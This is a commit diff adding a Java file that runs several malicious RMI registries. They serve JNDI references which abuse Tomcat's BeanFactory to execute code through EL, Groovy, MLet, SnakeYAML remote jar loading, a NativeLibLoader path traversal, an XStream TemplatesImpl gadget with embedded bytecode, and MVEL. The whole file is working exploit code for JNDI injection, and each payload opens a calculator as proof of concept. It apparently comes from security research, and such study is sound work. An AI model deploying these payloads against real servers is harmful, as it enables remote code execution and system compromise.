|
| 1 | +package jndi; |
| 2 | + |
| 3 | +import com.sun.jndi.rmi.registry.ReferenceWrapper; |
| 4 | +import org.apache.naming.ResourceRef; |
| 5 | + |
| 6 | +import javax.naming.Reference; |
| 7 | +import javax.naming.StringRefAddr; |
| 8 | +import java.rmi.registry.LocateRegistry; |
| 9 | +import java.rmi.registry.Registry; |
| 10 | + |
| 11 | +/** |
| 12 | + * @author Whoopsunix |
| 13 | + */ |
| 14 | +public class LocalBeanFactoryServer { |
| 15 | + public static void main(String args[]) throws Exception { |
| 16 | + TomcatEL(); |
| 17 | + GroovyClassLoader(); |
| 18 | + GroovyGroovyShell(); |
| 19 | + MLet(); |
| 20 | + Snakeyaml(); |
| 21 | + Lib(); |
| 22 | + XStream(); |
| 23 | + mvel(); |
| 24 | + |
| 25 | + System.out.println("server is running"); |
| 26 | + } |
| 27 | + |
| 28 | + public static void TomcatEL() throws Exception { |
| 29 | + Registry registry = LocateRegistry.createRegistry(1099); |
| 30 | + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, |
| 31 | + "org.apache.naming.factory.BeanFactory", null); |
| 32 | + |
| 33 | + // BeanFactory.getObjectInstance |
| 34 | + ref.add(new StringRefAddr("forceString", "Whoopsunix=eval")); |
| 35 | + ref.add(new StringRefAddr("Whoopsunix", "Runtime.getRuntime().exec('open -a Calculator.app')")); |
| 36 | + // EL 表达式 |
| 37 | +// ref.add(new StringRefAddr("Whoopsunix", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','Calculator.app']).start()\")")); |
| 38 | + |
| 39 | + ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); |
| 40 | + registry.bind("EL", referenceWrapper); |
| 41 | + } |
| 42 | + |
| 43 | + public static void GroovyClassLoader() throws Exception { |
| 44 | + Registry registry = LocateRegistry.createRegistry(1098); |
| 45 | + ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true, |
| 46 | + "org.apache.naming.factory.BeanFactory", null); |
| 47 | + ref.add(new StringRefAddr("forceString", "Whoopsunix=parseClass")); |
| 48 | + String script = "@groovy.transform.ASTTest(value={\n" + |
| 49 | + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")\n" + |
| 50 | + "})\n" + |
| 51 | + "def x\n"; |
| 52 | + ref.add(new StringRefAddr("Whoopsunix", script)); |
| 53 | + |
| 54 | + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); |
| 55 | + registry.bind("GroovyClassLoader", referenceWrapper); |
| 56 | + } |
| 57 | + |
| 58 | + public static void GroovyGroovyShell() throws Exception { |
| 59 | + Registry registry = LocateRegistry.createRegistry(1097); |
| 60 | + ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, |
| 61 | + "org.apache.naming.factory.BeanFactory", null); |
| 62 | + ref.add(new StringRefAddr("forceString", "Whoopsunix=evaluate")); |
| 63 | + ref.add(new StringRefAddr("Whoopsunix", "'open -a Calculator.app'.execute()")); |
| 64 | + |
| 65 | + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); |
| 66 | + registry.bind("GroovyShell", referenceWrapper); |
| 67 | + } |
| 68 | + |
| 69 | + |
| 70 | + public static void MLet() throws Exception { |
| 71 | + Registry registry = LocateRegistry.createRegistry(1094); |
| 72 | + ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "", true, |
| 73 | + "org.apache.naming.factory.BeanFactory", null); |
| 74 | + ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass")); |
| 75 | + ref.add(new StringRefAddr("a", "java.lang.String")); |
| 76 | + ref.add(new StringRefAddr("b", "http://127.0.0.1:1111/")); |
| 77 | + ref.add(new StringRefAddr("c", "Find")); |
| 78 | + |
| 79 | + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); |
| 80 | + registry.bind("MLet", referenceWrapper); |
| 81 | + } |
| 82 | + |
| 83 | + public static void Snakeyaml() throws Exception { |
| 84 | + Registry registry = LocateRegistry.createRegistry(1093); |
| 85 | + ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", |
| 86 | + true, "org.apache.naming.factory.BeanFactory", null); |
| 87 | + |
| 88 | + String jar = "!!javax.script.ScriptEngineManager [\n" + |
| 89 | + " !!java.net.URLClassLoader [[\n" + |
| 90 | + " !!java.net.URL [\"http://127.0.0.1:1234/SnakeyamlDemo-1.0.jar\"]\n" + |
| 91 | + " ]]\n" + |
| 92 | + "]"; |
| 93 | + |
| 94 | + ref.add(new StringRefAddr("forceString", "Whoopsunix=load")); |
| 95 | + ref.add(new StringRefAddr("Whoopsunix", jar)); |
| 96 | + |
| 97 | + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); |
| 98 | + registry.bind("Snakeyaml", referenceWrapper); |
| 99 | + } |
| 100 | + |
| 101 | + // todo 其他 |
| 102 | + public static void Lib() throws Exception { |
| 103 | + Registry registry = LocateRegistry.createRegistry(1092); |
| 104 | + ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "", |
| 105 | + true, "org.apache.naming.factory.BeanFactory", null); |
| 106 | + ref.add(new StringRefAddr("forceString", "a=loadLibrary")); |
| 107 | + ref.add(new StringRefAddr("a", "../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/Exec")); |
| 108 | + |
| 109 | + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); |
| 110 | + registry.bind("Lib", referenceWrapper); |
| 111 | + } |
| 112 | + |
| 113 | + public static void XStream() throws Exception { |
| 114 | + Registry registry = LocateRegistry.createRegistry(1091); |
| 115 | + ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "", |
| 116 | + true, "org.apache.naming.factory.BeanFactory", null); |
| 117 | + String xml = "<java.util.PriorityQueue serialization=\"custom\">\n" + |
| 118 | + " <unserializable-parents/>\n" + |
| 119 | + " <java.util.PriorityQueue>\n" + |
| 120 | + " <default>\n" + |
| 121 | + " <size>2</size>\n" + |
| 122 | + " <comparator class=\"org.apache.commons.collections4.comparators.TransformingComparator\">\n" + |
| 123 | + " <decorated class=\"org.apache.commons.collections4.comparators.ComparableComparator\"/>\n" + |
| 124 | + " <transformer class=\"org.apache.commons.collections4.functors.InvokerTransformer\">\n" + |
| 125 | + " <iMethodName>newTransformer</iMethodName>\n" + |
| 126 | + " <iParamTypes/>\n" + |
| 127 | + " <iArgs/>\n" + |
| 128 | + " </transformer>\n" + |
| 129 | + " </comparator>\n" + |
| 130 | + " </default>\n" + |
| 131 | + " <int>3</int>\n" + |
| 132 | + " <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization=\"custom\">\n" + |
| 133 | + " <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" + |
| 134 | + " <default>\n" + |
| 135 | + " <__name>anyStr</__name>\n" + |
| 136 | + " <__bytecodes>\n" + |
| 137 | + " <byte-array>yv66vgAAADIAIAEAKW9yZy9hcGFjaGUvY29yZS9hc3luY2NvbnRleHRpbXBsL0NhdGFsaW5hBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgEABENvZGUMAAUABgoABAAIAQAgamF2YXgvc2NyaXB0L1NjcmlwdEVuZ2luZU1hbmFnZXIHAAoKAAsACAEAAmpzCAANAQAPZ2V0RW5naW5lQnlOYW1lAQAvKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvc2NyaXB0L1NjcmlwdEVuZ2luZTsMAA8AEAoACwARAQA+amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoJ29wZW4gLWEgQ2FsY3VsYXRvci5hcHAnKTsIABMBABlqYXZheC9zY3JpcHQvU2NyaXB0RW5naW5lBwAVAQAEZXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DAAXABgLABYAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQAhAAIABAAAAAEAGgAbABwAAQAfAAAAAgAdAAEAAQAFAAYAAQAHAAAAKwACAAQAAAAfKrcACbsAC1m3AAxMKxIOtgASTRIUTiwtuQAaAgBXsQAAAAAAAA==</byte-array>\n" + |
| 138 | + " <byte-array>yv66vgAAADIAEQEAPW9yZy9hcGFjaGUvcm9vdGV4dGVybmFsY29udGV4dHJlc291cmNlbG9hZGVyL215ZmFjZXMvUmVzb3VyY2UHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAUamF2YS9pby9TZXJpYWxpemFibGUHAAUBAAY8aW5pdD4BAAMoKVYBAARDb2RlDAAHAAgKAAQACgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQAhAAIABAABAAYAAQAaAAwADQABABAAAAACAA4AAQABAAcACAABAAkAAAARAAEAAQAAAAUqtwALsQAAAAAAAA==</byte-array>\n" + |
| 139 | + " </__bytecodes>\n" + |
| 140 | + " <__transletIndex>0</__transletIndex>\n" + |
| 141 | + " <__indentNumber>0</__indentNumber>\n" + |
| 142 | + " </default>\n" + |
| 143 | + " <boolean>false</boolean>\n" + |
| 144 | + " </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" + |
| 145 | + " </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" + |
| 146 | + " <int>1</int>\n" + |
| 147 | + " </java.util.PriorityQueue>\n" + |
| 148 | + "</java.util.PriorityQueue>"; |
| 149 | + ref.add(new StringRefAddr("forceString", "Whoopsunix=fromXML")); |
| 150 | + ref.add(new StringRefAddr("Whoopsunix", xml)); |
| 151 | + |
| 152 | + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); |
| 153 | + registry.bind("XStream", referenceWrapper); |
| 154 | + } |
| 155 | + |
| 156 | + public static void mvel() throws Exception { |
| 157 | + Registry registry = LocateRegistry.createRegistry(1090); |
| 158 | + ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "", |
| 159 | + true, "org.apache.naming.factory.BeanFactory", null); |
| 160 | + ref.add(new StringRefAddr("forceString", "Whoopsunix=exec")); |
| 161 | + ref.add(new StringRefAddr("Whoopsunix", "Runtime.getRuntime().exec(\"open -a Calculator.app\")")); |
| 162 | + |
| 163 | + ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); |
| 164 | + registry.bind("mvel", referenceWrapper); |
| 165 | + } |
| 166 | + |
| 167 | + |
| 168 | +} |
0 commit comments